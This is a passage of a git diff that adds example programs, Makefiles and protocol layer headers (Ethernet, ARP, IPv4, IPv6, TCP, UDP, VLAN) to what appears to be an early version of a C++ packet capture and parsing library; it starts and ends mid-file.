((size_t)(tcpLayer->getTcpHeader()->portDst)) ^ + ((size_t)(ipv4Layer->getIPv4Header()->protocol)); + } + else + { + return ((size_t)(ipv4Layer->getIPv4Header()->ipDst) * 59) ^ + ((size_t)(ipv4Layer->getIPv4Header()->ipSrc)) ^ + ((size_t)(tcpLayer->getTcpHeader()->portDst) << 16) ^ + ((size_t)(tcpLayer->getTcpHeader()->portSrc)) ^ + ((size_t)(ipv4Layer->getIPv4Header()->protocol)); + + } +} + +void printPacketsToFile(char* fileName, vector& packets, char* errString) +{ + PcapFileWriterDevice writerDevice(fileName); + if (!writerDevice.open()) + { + printf("Error opening writer device for %s: %s", fileName, errString); + return; + } + + for (auto packetIter = packets.begin(); packetIter != packets.end(); packetIter++) + { + writerDevice.writePacket(*(*packetIter)->getRawPacket()); + } + + writerDevice.close(); +} + +int main(int argc, char* argv[]) +{ + char errorString[1000]; + LoggerPP::getInstance().setErrorString(errorString, 1000); + unordered_map> tcpStreamsMap; + PcapFileReaderDevice readerDevice("example.pcap"); + if (!readerDevice.open()) + { + printf("Error opening the device: %s", errorString); + return 1; + } + + RawPacket rawPackets[10000]; + Packet* tcpPackets[10000]; + int i = 0; + while (readerDevice.getNextPacket(rawPackets[i])) + { + tcpPackets[i] = new Packet(&rawPackets[i]); + if (!tcpPackets[i]->isPacketOfType(TCP) || !tcpPackets[i]->isPacketOfType(IPv4)) + continue; + + size_t hash = hash5Tuple(tcpPackets[i]); + tcpStreamsMap[hash].push_back(tcpPackets[i]); + i++; + } + + readerDevice.close(); + + printf("Number of streams found: %d\n", tcpStreamsMap.size()); + i = 0; + for(auto iter = tcpStreamsMap.begin(); iter != tcpStreamsMap.end(); iter++) + { + // Print stream size + printf("Stream #%d: %d packets\n", ++i, iter->second.size()); + + // Save to file only streams with more than 9 packets + if (iter->second.size() > 9) + { + char streamName[100]; + sprintf(streamName, "Output/Stream#%d.pcap", i); + printPacketsToFile(streamName, iter->second, errorString); + } + } + + return 0; +} diff --git a/Examples/Pcap++Examples.PacketParsing/Makefile b/Examples/Pcap++Examples.PacketParsing/Makefile new file mode 100644 index 0000000000..a1e28f9daf --- /dev/null +++ b/Examples/Pcap++Examples.PacketParsing/Makefile @@ -0,0 +1,76 @@ +-include ../../mk/platform.mk + +SOURCES := $(wildcard *.cpp) +OBJS_FILENAMES := $(patsubst %.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst %.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../../Common++ +PACKETPP_HOME := ../../Packet++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I$(PACKETPP_HOME)/header -I$(COMMONPP_HOME)/header +ifdef WIN32 +INCLUDES += -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=%.cpp)" + @echo 'Finished building: $(@:%.o=%.cpp)' + @echo ' ' + +LIBS_DIR := -L$(PACKETPP_HOME)/Lib -L$(COMMONPP_HOME)/Lib +ifdef WIN32 +LIBS_DIR += -L$(WINPCAP_HOME)/lib \ + -L$(MINGW_HOME)/lib +endif + +LIBS := -lPacket++ -lCommon++ +ifdef WIN32 +LIBS += -lwpcap -lPacket -lpthread -lws2_32 +endif +ifdef LINUX +LIBS += -lpcap -lpthread +endif + +POST_BUILD := +ifdef WIN32 +POST_BUILD += $(CP) $(MINGW_HOME)/bin/pthreadGC2.dll ./Bin +endif + +UNAME := $(shell uname) + +# All Target +all: Pcap++Examples.PacketParsing + +dependents: + -cd $(COMMONPP_HOME) && $(MAKE) all + -cd $(PACKETPP_HOME) && $(MAKE) all + +dependents-clean: + -cd $(COMMONPP_HOME) && $(MAKE) clean + -cd $(PACKETPP_HOME) && $(MAKE) clean + +# Tool invocations +Pcap++Examples.PacketParsing: $(OBJS_FILENAMES) dependents + @echo uname is: $(UNAME) + @echo 'Building target: $@' + @echo 'Invoking C++ Linker' + $(G++) $(LIBS_DIR) -static-libgcc -static-libstdc++ -o "./Bin/Pcap++Examples.PacketParsing$(BIN_EXT)" $(OBJS) $(USER_OBJS) $(LIBS) + $(POST_BUILD) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: dependents-clean + $(RM) -rf ./Obj/* + $(RM) -rf ./Bin/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Examples/Pcap++Examples.PacketParsing/UdpPacket.dat b/Examples/Pcap++Examples.PacketParsing/UdpPacket.dat new file mode 100644 index 0000000000..7fba8ba08b --- /dev/null +++ b/Examples/Pcap++Examples.PacketParsing/UdpPacket.dat @@ -0,0 +1 @@ +33330000000c6cf049b2de6e86dd60000000009a1101fe800000000000004dc7f5931f7bdc11ff02000000000000000000000000000cfd8d076c009a5ae94d2d534541524348202a20485454502f312e310d0a486f73743a5b464630323a3a435d3a313930300d0a53543a75726e3a4d6963726f736f66742057696e646f77732050656572204e616d65205265736f6c7574696f6e2050726f746f636f6c3a2056343a495056363a4c696e6b4c6f63616c0d0a4d616e3a22737364703a646973636f766572220d0a4d583a330d0a0d0a \ No newline at end of file diff --git a/Examples/Pcap++Examples.PacketParsing/main.cpp b/Examples/Pcap++Examples.PacketParsing/main.cpp new file mode 100644 index 0000000000..3d164f87db --- /dev/null +++ b/Examples/Pcap++Examples.PacketParsing/main.cpp @@ -0,0 +1,102 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef WIN32 +#include +#else +#include +#endif + +using namespace std; + +int getFileLength(const char* filename) +{ + ifstream infile(filename, ifstream::binary); + if (!infile) + return -1; + infile.seekg(0, infile.end); + int length = infile.tellg(); + infile.close(); + return length; +} + +/** + * A method for reading a file in hex string format and converting it to byte array + */ +uint8_t* readFileIntoBuffer(const char* filename, int& bufferLength) +{ + int fileLength = getFileLength(filename); + if (fileLength == -1) + return NULL; + + ifstream infile(filename); + if (!infile) + return NULL; + + bufferLength = fileLength/2 + 2; + uint8_t* result = new uint8_t[bufferLength]; + int i = 0; + while (!infile.eof()) + { + char byte[3]; + infile.read(byte, 2); + result[i] = (uint8_t)strtol(byte, NULL, 16); + i++; + } + infile.close(); + return result; +} + +int main(int argc, char* argv[]) +{ + // Read file into buffer (byte array) + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("../UdpPacket.dat", bufferLength); + if (buffer == NULL) + { + printf("Cannot read file!\n"); + return 1; + } + + // Convert the byte array into RawPacket + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet packet(&rawPacket); + + // Print packet types + printf("Packet is of type: "); + if (packet.isPacketOfType(Ethernet)) + printf("Ethernet "); + if (packet.isPacketOfType(IP)) + printf("IP "); + if (packet.isPacketOfType(IPv4)) + printf("IPv4 "); + if (packet.isPacketOfType(IPv6)) + printf("IPv6 "); + if (packet.isPacketOfType(TCP)) + printf("TCP "); + if (packet.isPacketOfType(UDP)) + printf("UDP "); + printf("\n"); + + // Access L2 fields + printf("Src MAC: %s\n", ((EthLayer*)packet.getFirstLayer())->getSourceMac().toString().c_str()); + + // Access L3 fields + printf("Dst IP: %s\n", ((IPv6Layer*)packet.getLayerOfType(IPv6))->getDstIpAddress().toString().c_str()); + + // Access L4 fields + UdpLayer* udpLayer = (UdpLayer*)packet.getLayerOfType(UDP); + printf("Port Dst: %d\n", ntohs(udpLayer->getUdpHeader()->portDst)); + + // Access packet properties + printf("Packet length: %d\n", packet.getRawPacket()->getRawDataLen()); + printf("Packet payload offset: %d\n", udpLayer->getNextLayer()->getDataLen()); +} diff --git a/Packet++/Makefile b/Packet++/Makefile new file mode 100644 index 0000000000..3e5a0cecc3 --- /dev/null +++ b/Packet++/Makefile @@ -0,0 +1,47 @@ +-include ../mk/platform.mk + +SOURCES := $(wildcard ./src/*.cpp) +OBJS_FILENAMES := $(patsubst ./src/%.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst ./src/%.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../Common++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I"./src" \ + -I"./header" \ + -I"$(COMMONPP_HOME)/header" + +ifdef WIN32 +INCLUDES += -I$(MINGW_HOME)/include/ddk \ + -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=./src/%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=./src/%.cpp)" + @echo 'Finished building: $(@:%.o=./src/%.cpp)' + @echo ' ' + +# All Target +all: Packet++ + +# Tool invocations +Packet++: $(OBJS_FILENAMES) + @echo 'Building target: $@' + @echo 'Invoking: GCC Archiver' + $(AR) -r "Lib/$(LIB_PREFIX)Packet++$(LIB_EXT)" $(OBJS) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: + $(RM) -rf ./Obj/* + $(RM) -rf ./Lib/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Packet++/header/ArpLayer.h b/Packet++/header/ArpLayer.h new file mode 100644 index 0000000000..1349325a7c --- /dev/null +++ b/Packet++/header/ArpLayer.h @@ -0,0 +1,47 @@ +#ifndef PACKETPP_ARP_LAYER +#define PACKETPP_ARP_LAYER + +#include +#include +#include + +#pragma pack(push, 1) +struct arphdr { + uint16_t hardwareType; + uint16_t protocolType; + uint8_t hardwareSize; + uint8_t protocolSize; + uint16_t opcode; + uint8_t senderMacAddr[6]; + uint32_t senderIpAddr; + uint8_t targetMacAddr[6]; + uint32_t targetIpAddr; +}; +#pragma pack(pop) + +enum ArpOpcode +{ + ARP_REQUEST = 0x0001, + ARP_REPLY = 0x0002 +}; + +class ArpLayer : public Layer +{ +public: + ArpLayer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) { m_Protocol = ARP; } + ArpLayer(ArpOpcode opCode, const MacAddress& senderMacAddr, const MacAddress& targetMacAddr, const IPv4Address senderIpAddr, const IPv4Address& targetIpAddr); + ~ArpLayer() {} + + inline arphdr* getArpHeader() { return (arphdr*)m_Data; }; + inline MacAddress getSenderMacAddress() { return MacAddress(getArpHeader()->senderMacAddr); } + inline MacAddress getTargetMacAddress() { return MacAddress(getArpHeader()->targetMacAddr); } + inline IPv4Address getSenderIpAddr() { return IPv4Address(getArpHeader()->senderIpAddr); } + inline IPv4Address getTargetIpAddr() { return IPv4Address(getArpHeader()->targetIpAddr); } + + // implement abstract methods + void parseNextLayer() {} + inline size_t getHeaderLen() { return sizeof(arphdr); } + void computeCalculateFields(); +}; + +#endif /* PACKETPP_ARP_LAYER */ diff --git a/Packet++/header/EthLayer.h b/Packet++/header/EthLayer.h new file mode 100644 index 0000000000..e9beb53138 --- /dev/null +++ b/Packet++/header/EthLayer.h @@ -0,0 +1,45 @@ +#ifndef PACKETPP_ETH_LAYER +#define PACKETPP_ETH_LAYER + +#include "Layer.h" +#include "MacAddress.h" + +#pragma pack(push, 1) +struct ether_header { + uint8_t dstMac[6]; + uint8_t srcMac[6]; + uint16_t etherType; +}; +#pragma pack(pop) + +/* Ethernet protocol ID's */ +#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ +#define ETHERTYPE_SPRITE 0x0500 /* Sprite */ +#define ETHERTYPE_IP 0x0800 /* IP */ +#define ETHERTYPE_ARP 0x0806 /* Address resolution */ +#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ +#define ETHERTYPE_AT 0x809B /* AppleTalk protocol */ +#define ETHERTYPE_AARP 0x80F3 /* AppleTalk ARP */ +#define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */ +#define ETHERTYPE_IPX 0x8137 /* IPX */ +#define ETHERTYPE_IPV6 0x86dd /* IP protocol version 6 */ +#define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */ + +class EthLayer : public Layer +{ +public: + EthLayer(uint8_t* data, size_t dataLen) : Layer(data, dataLen, NULL) { m_Protocol = Ethernet; } + EthLayer(MacAddress& sourceMac, MacAddress& destMac, uint16_t etherType); + ~EthLayer() {} + + inline ether_header* getEthHeader() { return (ether_header*)m_Data; }; + inline MacAddress getSourceMac() { return MacAddress(getEthHeader()->srcMac); }; + inline MacAddress getDestMac() { return MacAddress(getEthHeader()->dstMac); }; + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return sizeof(ether_header); } + void computeCalculateFields(); +}; + +#endif /* PACKETPP_ETH_LAYER */ diff --git a/Packet++/header/IPv4Layer.h b/Packet++/header/IPv4Layer.h new file mode 100644 index 0000000000..a5cb404c3c --- /dev/null +++ b/Packet++/header/IPv4Layer.h @@ -0,0 +1,73 @@ +#ifndef PACKETPP_IPV4_LAYER +#define PACKETPP_IPV4_LAYER + +#include "Layer.h" +#include "IpAddress.h" + +#pragma pack(push, 1) +struct iphdr { +#if (BYTE_ORDER == LITTLE_ENDIAN) + uint8_t internetHeaderLength:4, + ipVersion:4; +#else + uint8_t ipVersion:4, + internetHeaderLength:4; +#endif + uint8_t typeOfService; + uint16_t totalLength; + uint16_t ipId; + uint16_t fragmentOffset; + uint8_t timeToLive; + uint8_t protocol; + uint16_t headerChecksum; + uint32_t ipSrc; + uint32_t ipDst; + /*The options start here. */ +}; +#pragma pack(pop) + +enum IPProtocolTypes +{ + PACKETPP_IPPROTO_IP = 0, /* Dummy protocol for TCP */ + PACKETPP_IPPROTO_HOPOPTS = 0, /* IPv6 Hop-by-Hop options */ + PACKETPP_IPPROTO_ICMP = 1, /* Internet Control Message Protocol */ + PACKETPP_IPPROTO_IGMP = 2, /* Internet Gateway Management Protocol */ + PACKETPP_IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */ + PACKETPP_IPPROTO_TCP = 6, /* Transmission Control Protocol */ + PACKETPP_IPPROTO_EGP = 8, /* Exterior Gateway Protocol */ + PACKETPP_IPPROTO_PUP = 12, /* PUP protocol */ + PACKETPP_IPPROTO_UDP = 17, /* User Datagram Protocol */ + PACKETPP_IPPROTO_IDP = 22, /* XNS IDP protocol */ + PACKETPP_IPPROTO_IPV6 = 41, /* IPv6 header */ + PACKETPP_IPPROTO_ROUTING = 43, /* IPv6 Routing header */ + PACKETPP_IPPROTO_FRAGMENT = 44, /* IPv6 fragmentation header */ + PACKETPP_IPPROTO_ESP = 50, /* encapsulating security payload */ + PACKETPP_IPPROTO_AH = 51, /* authentication header */ + PACKETPP_IPPROTO_ICMPV6 = 58, /* ICMPv6 */ + PACKETPP_IPPROTO_NONE = 59, /* IPv6 no next header */ + PACKETPP_IPPROTO_DSTOPTS = 60, /* IPv6 Destination options */ + PACKETPP_IPPROTO_RAW = 255, /* Raw IP packets */ + PACKETPP_IPPROTO_MAX +}; + +class IPv4Layer : public Layer +{ +public: + IPv4Layer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) { m_Protocol = IPv4; } + IPv4Layer(); + IPv4Layer(const IPv4Address& srcIP, const IPv4Address& dstIP); + + inline iphdr* getIPv4Header() { return (iphdr*)m_Data; }; + inline IPv4Address getSrcIpAddress() { return IPv4Address(getIPv4Header()->ipSrc); } + inline IPv4Address getDstIpAddress() { return IPv4Address(getIPv4Header()->ipDst); } + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return sizeof(iphdr); } + void computeCalculateFields(); + +private: + void initLayer(); +}; + +#endif /* PACKETPP_IPV4_LAYER */ diff --git a/Packet++/header/IPv6Layer.h b/Packet++/header/IPv6Layer.h new file mode 100644 index 0000000000..675b0f947a --- /dev/null +++ b/Packet++/header/IPv6Layer.h @@ -0,0 +1,48 @@ +#ifndef PACKETPP_IPV6_LAYER +#define PACKETPP_IPV6_LAYER + +#include "Layer.h" +#include "IpAddress.h" + +#pragma pack(push, 1) +struct ip6_hdr { + #if (BYTE_ORDER == LITTLE_ENDIAN) + uint8_t trafficClass:4, + ipVersion:4; + uint8_t flowLabel[3]; + uint16_t payloadLength; + uint8_t nextHeader; + uint8_t hopLimit; + #else + uint32_t ipVersion:4, + trafficClass:8, + flowLabel:20; + uint32_t payloadLength:16, + nextHeader:8, + hopLimit:8; + #endif + uint8_t ipSrc[16], ipDst[16]; +}; +#pragma pack(pop) + +class IPv6Layer : public Layer +{ +public: + IPv6Layer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) { m_Protocol = IPv6; } + IPv6Layer(); + IPv6Layer(const IPv6Address& srcIP, const IPv6Address& dstIP); + + inline ip6_hdr* getIPv6Header() { return (ip6_hdr*)m_Data; }; + inline IPv6Address getSrcIpAddress() { return IPv6Address(getIPv6Header()->ipSrc); } + inline IPv6Address getDstIpAddress() { return IPv6Address(getIPv6Header()->ipDst); } + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return sizeof(ip6_hdr); } + void computeCalculateFields(); + +private: + void initLayer(); +}; + +#endif /* PACKETPP_IPV6_LAYER */ diff --git a/Packet++/header/Layer.h b/Packet++/header/Layer.h new file mode 100644 index 0000000000..2c8ebe3337 --- /dev/null +++ b/Packet++/header/Layer.h @@ -0,0 +1,47 @@ +#ifndef PACKETPP_LAYER +#define PACKETPP_LAYER + +#include +#include +#include "ProtocolType.h" + +class Layer { + friend class Packet; +protected: + uint8_t* m_Data; + size_t m_DataLen; + bool m_DataAllocatedToPacket; + ProtocolType m_Protocol; + Layer* m_NextLayer; + Layer* m_PrevLayer; + + Layer() : m_Data(NULL), m_DataLen(0), m_DataAllocatedToPacket(false), m_Protocol(Unknown), m_NextLayer(NULL), m_PrevLayer(NULL) { } + + Layer(uint8_t* data, size_t dataLen, Layer* prevLayer) : + m_Data(data), m_DataLen(dataLen), + m_DataAllocatedToPacket(true), m_Protocol(Unknown), + m_NextLayer(NULL), m_PrevLayer(prevLayer) {} + + inline void setNextLayer(Layer* nextLayer) { m_NextLayer = nextLayer; } + inline void setPrevLayer(Layer* prevLayer) { m_PrevLayer = prevLayer; } + +public: + virtual ~Layer() { if (!m_DataAllocatedToPacket) delete m_Data; } + + inline Layer* getNextLayer() { return m_NextLayer; } + inline ProtocolType getProtocol() { return m_Protocol; } + inline size_t getDataLen() { return m_DataLen; } + + void copyData(uint8_t* toArr); + + // abstract methods + virtual void parseNextLayer() = 0; + virtual size_t getHeaderLen() = 0; + virtual void computeCalculateFields() = 0; +private: + // can't use copy c'tor and assignment operator + Layer(const Layer& other ); + Layer& operator=(const Layer& other); +}; + +#endif /* PACKETPP_LAYER */ diff --git a/Packet++/header/Packet.h b/Packet++/header/Packet.h new file mode 100644 index 0000000000..63de5e4318 --- /dev/null +++ b/Packet++/header/Packet.h @@ -0,0 +1,43 @@ +#ifndef PACKETPP_PACKET +#define PACKETPP_PACKET + +#include "RawPacket.h" +#include "Layer.h" +#include + +class Packet { +private: + RawPacket* m_RawPacket; + Layer* m_FirstLayer; + Layer* m_LastLayer; + uint64_t m_ProtocolTypes; + size_t m_MaxPacketLen; + std::vector m_LayersInitialized; + bool m_FreeRawPacket; + +public: + Packet(size_t maxPacketLen); + Packet(RawPacket* rawPacket); + virtual ~Packet(); + + inline RawPacket* getRawPacket() { return m_RawPacket; } + + inline Layer* getFirstLayer() { return m_FirstLayer; } + inline Layer* getLastLayer() { return m_LastLayer; } + bool addLayer(Layer* newLayer); + bool insertLayer(Layer* prevLayer, Layer* newLayer); + bool removeLayer(Layer* layer); + Layer* getLayerOfType(ProtocolType type); + Layer* getNextLayerOfType(Layer* after, ProtocolType type); + inline bool isPacketOfType(ProtocolType protocolType) { return m_ProtocolTypes & protocolType; } + void computeCalculateFields(); + +private: + // can't use copy c'tor and assignment operator + Packet(const Packet& other ); + Packet& operator=(const Packet& other); + + void reallocateRawData(size_t newSize); +}; + +#endif /* PACKETPP_PACKET */ diff --git a/Packet++/header/PayloadLayer.h b/Packet++/header/PayloadLayer.h new file mode 100644 index 0000000000..f0aa986fcd --- /dev/null +++ b/Packet++/header/PayloadLayer.h @@ -0,0 +1,31 @@ +/* + * PayloadLayer.h + * + * Created on: 18 בספט 2014 + * Author: Elad + */ + +#ifndef PACKETPP_PAYLOAD_LAYER +#define PACKETPP_PAYLOAD_LAYER + +#include + +class PayloadLayer : public Layer +{ +public: + PayloadLayer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) {} + PayloadLayer(const uint8_t* data, size_t dataLen, bool selfAllocated); + ~PayloadLayer() {} + + inline uint8_t* getPayload() { return m_Data; } + inline size_t getPayloadLen() { return m_DataLen; } + + // implement abstract methods + void parseNextLayer() {} + inline size_t getHeaderLen() { return m_DataLen; } + void computeCalculateFields() {} + +}; + + +#endif /* PACKETPP_PAYLOAD_LAYER */ diff --git a/Packet++/header/ProtocolType.h b/Packet++/header/ProtocolType.h new file mode 100644 index 0000000000..7fb2ef7889 --- /dev/null +++ b/Packet++/header/ProtocolType.h @@ -0,0 +1,18 @@ +#ifndef PCAPPP_PROTOCOL_TYPES +#define PCAPPP_PROTOCOL_TYPES + +enum ProtocolType +{ + Unknown = 0x00, + Ethernet = 0x01, + IPv4 = 0x02, + IPv6 = 0x04, + IP = 0x06, + TCP = 0x08, + UDP = 0x10, + ICMP = 0x20, + ARP = 0x40, + VLAN = 0x80 +}; + +#endif diff --git a/Packet++/header/RawPacket.h b/Packet++/header/RawPacket.h new file mode 100644 index 0000000000..35e063ae0b --- /dev/null +++ b/Packet++/header/RawPacket.h @@ -0,0 +1,35 @@ +#ifndef PCAPPP_RAW_PACKET +#define PCAPPP_RAW_PACKET + +#include +#include +#include + +class RawPacket +{ +private: + uint8_t* m_pRawData; + int m_RawDataLen; + timeval m_TimeStamp; + bool m_DeleteRawDataAtDestructor; + bool m_RawPacketSet; + void Init(); +public: + RawPacket(const uint8_t* pRawData, int rawDataLen, timeval timestamp, bool deleteRawDataAtDestructor); + RawPacket(); + ~RawPacket(); + void setRawData(const uint8_t* pRawData, int rawDataLen, timeval timestamp); + const uint8_t* getRawData(); + int getRawDataLen(); + timeval getPacketTimeStamp(); + bool isPacketSet() { return m_RawPacketSet; } + void clear(); + void appendData(const uint8_t* dataToAppend, size_t dataToAppendLen); + void insertData(int atIndex, const uint8_t* dataToAppend, size_t dataToAppendLen); + bool removeData(int atIndex, size_t numOfBytesToRemove); + void reallocateData(uint8_t* newBuffer); +}; + +#define MAX_PACKET_SIZE 65536 + +#endif diff --git a/Packet++/header/TcpLayer.h b/Packet++/header/TcpLayer.h new file mode 100644 index 0000000000..1bb9f99a5f --- /dev/null +++ b/Packet++/header/TcpLayer.h @@ -0,0 +1,160 @@ +#ifndef PACKETPP_TCP_LAYER +#define PACKETPP_TCP_LAYER + +#include +#include + +#pragma pack(push,1) +struct tcphdr { + uint16_t portSrc; + uint16_t portDst; + uint32_t sequenceNumber; + uint32_t ackNumber; +#if (BYTE_ORDER == LITTLE_ENDIAN) + uint16_t reserved:4, + dataOffset:4, + finFlag:1, + synFlag:1, + rstFlag:1, + pshFlag:1, + ackFlag:1, + urgFlag:1, + eceFlag:1, + cwrFlag:1; +#elif (BYTE_ORDER == BIG_ENDIAN) + uint16_t dataOffset:4, + reserved:4, + cwrFlag:1, + eceFlag:1, + urgFlag:1, + ackFlag:1, + pshFlag:1, + rstFlag:1, + synFlag:1, + finFlag:1; +#else +#error "Endian is not LE nor BE..." +#endif + uint16_t windowSize; + uint16_t headerChecksum; + uint16_t urgentPointer; +}; +#pragma pack(pop) + +//enum TcpFlag +//{ +// TCP_FIN = 0x0001, +// TCP_SYN = 0x0002, +// TCP_RST = 0x0004, +// TCP_PUSH = 0x0008, +// TCP_ACK = 0x0010, +// TCP_URG = 0x0020, +// TCP_ECN = 0x0040, +// TCP_CWR = 0x0080, +// TCP_NS = 0x0100, +// TCP_RES = 0x0E00, /* 3 reserved bits */ +// TCP_MASK = 0x0FFF +//}; + +/* + * TCP option + */ +enum TcpOption : uint8_t { + TCPOPT_NOP = 1, /* Padding */ + TCPOPT_EOL = 0, /* End of options */ + TCPOPT_MSS = 2, /* Segment size negotiating */ + TCPOPT_WINDOW = 3, /* Window scaling */ + TCPOPT_SACK_PERM = 4, /* SACK Permitted */ + TCPOPT_SACK = 5, /* SACK Block */ + TCPOPT_ECHO = 6, + TCPOPT_ECHOREPLY = 7, + TCPOPT_TIMESTAMP = 8, /* Better RTT estimations/PAWS */ + TCPOPT_CC = 11, + TCPOPT_CCNEW = 12, + TCPOPT_CCECHO = 13, + TCPOPT_MD5 = 19, /* RFC2385 */ + TCPOPT_MPTCP = 0x1e, /* Multipath TCP */ + TCPOPT_SCPS = 20, /* SCPS Capabilities */ + TCPOPT_SNACK = 21, /* SCPS SNACK */ + TCPOPT_RECBOUND = 22, /* SCPS Record Boundary */ + TCPOPT_CORREXP = 23, /* SCPS Corruption Experienced */ + TCPOPT_QS = 27, /* RFC4782 */ + TCPOPT_USER_TO = 28, /* RFC5482 */ + TCPOPT_EXP_FD = 0xfd, /* Experimental, reserved */ + TCPOPT_EXP_FE = 0xfe, /* Experimental, reserved */ + /* Non IANA registered option numbers */ + TCPOPT_RVBD_PROBE = 76, /* Riverbed probe option */ + TCPOPT_RVBD_TRPY = 78 /* Riverbed transparency option */ +}; + +#define TCP_OPTIONS_COUNT 24 + +/* + * TCP option lengths + */ +#define TCPOLEN_MSS 4 +#define TCPOLEN_WINDOW 3 +#define TCPOLEN_SACK_PERM 2 +#define TCPOLEN_SACK_MIN 2 +#define TCPOLEN_ECHO 6 +#define TCPOLEN_ECHOREPLY 6 +#define TCPOLEN_TIMESTAMP 10 +#define TCPOLEN_CC 6 +#define TCPOLEN_CCNEW 6 +#define TCPOLEN_CCECHO 6 +#define TCPOLEN_MD5 18 +#define TCPOLEN_MPTCP_MIN 8 +#define TCPOLEN_SCPS 4 +#define TCPOLEN_SNACK 6 +#define TCPOLEN_RECBOUND 2 +#define TCPOLEN_CORREXP 2 +#define TCPOLEN_QS 8 +#define TCPOLEN_USER_TO 4 +#define TCPOLEN_RVBD_PROBE_MIN 3 +#define TCPOLEN_RVBD_TRPY_MIN 16 +#define TCPOLEN_EXP_MIN 2 + +struct TcpOptionData +{ + TcpOption option; + uint8_t len; + uint8_t value[]; +}; + +#define MAX_SUPPORTED_TCP_OPTIONS 100 + +class TcpLayer : public Layer +{ +public: + TcpLayer(uint8_t* data, size_t dataLen, Layer* prevLayer); + TcpLayer(int tcpOptionsCount, ...); + TcpLayer(uint16_t portSrc, uint16_t portDst, int tcpOptionsCount, ...); + ~TcpLayer(); + + inline tcphdr* getTcpHeader() { return (tcphdr*)m_Data; }; + TcpOptionData* getTcpOptionData(TcpOption option); + inline size_t getTcpOptionsCount() { return m_TcpOptionsInLayerLen; } + uint16_t calculateChecksum(bool writeResultToPacket); + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return m_HeaderLen;} + void computeCalculateFields(); +private: + static const TcpOptionData TcpOptions[TCP_OPTIONS_COUNT]; + + struct TcpOptionPtr + { + TcpOption option; + int dataOffset; + }; + TcpOptionPtr* m_TcpOptionsInLayer; + size_t m_TcpOptionsInLayerLen; + size_t m_HeaderLen; + + void initLayer(int tcpOptionsCount, va_list paramsList); + const TcpOptionData& getTcpOptionRawData(TcpOption option); +}; + + +#endif /* PACKETPP_TCP_LAYER */ diff --git a/Packet++/header/UdpLayer.h b/Packet++/header/UdpLayer.h new file mode 100644 index 0000000000..986098130a --- /dev/null +++ b/Packet++/header/UdpLayer.h @@ -0,0 +1,31 @@ +#ifndef PACKETPP_UDP_LAYER +#define PACKETPP_UDP_LAYER + +#include + +#pragma pack(push,1) +struct udphdr { + uint16_t portSrc; + uint16_t portDst; + uint16_t length; + uint16_t headerChecksum; +}; +#pragma pack(pop) + +class UdpLayer : public Layer +{ +public: + UdpLayer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) { m_Protocol = UDP; } + UdpLayer(uint16_t portSrc, uint16_t portDst); + + inline udphdr* getUdpHeader() { return (udphdr*)m_Data; }; + uint16_t calculateChecksum(bool writeResultToPacket); + + // implement abstract methods + void parseNextLayer(); + inline size_t getHeaderLen() { return sizeof(udphdr); } + void computeCalculateFields(); +}; + + +#endif /* PACKETPP_UDP_LAYER */ diff --git a/Packet++/header/VlanLayer.h b/Packet++/header/VlanLayer.h new file mode 100644 index 0000000000..5928d668cd --- /dev/null +++ b/Packet++/header/VlanLayer.h @@ -0,0 +1,46 @@ +#ifndef PACKETPP_VLAN_LAYER +#define PACKETPP_VLAN_LAYER + +#include +#include +#ifdef WIN32 +#include +#endif + +#pragma pack(push, 1) +struct vlan_header { +#if (BYTE_ORDER == LITTLE_ENDIAN) + uint16_t priority:3, + cfi:1, + vlanID:12; +#else + uint16_t vlanID:12, + cfi:1, + priority:3; +#endif + uint16_t etherType; +}; +#pragma pack(pop) + +class VlanLayer : public Layer +{ +public: + VlanLayer(uint8_t* data, size_t dataLen, Layer* prevLayer) : Layer(data, dataLen, prevLayer) { m_Protocol = VLAN; } + VlanLayer(const uint16_t vlanID, bool cfi, uint8_t priority, uint16_t etherType); + ~VlanLayer() {} + + inline vlan_header* getVlanHeader() { 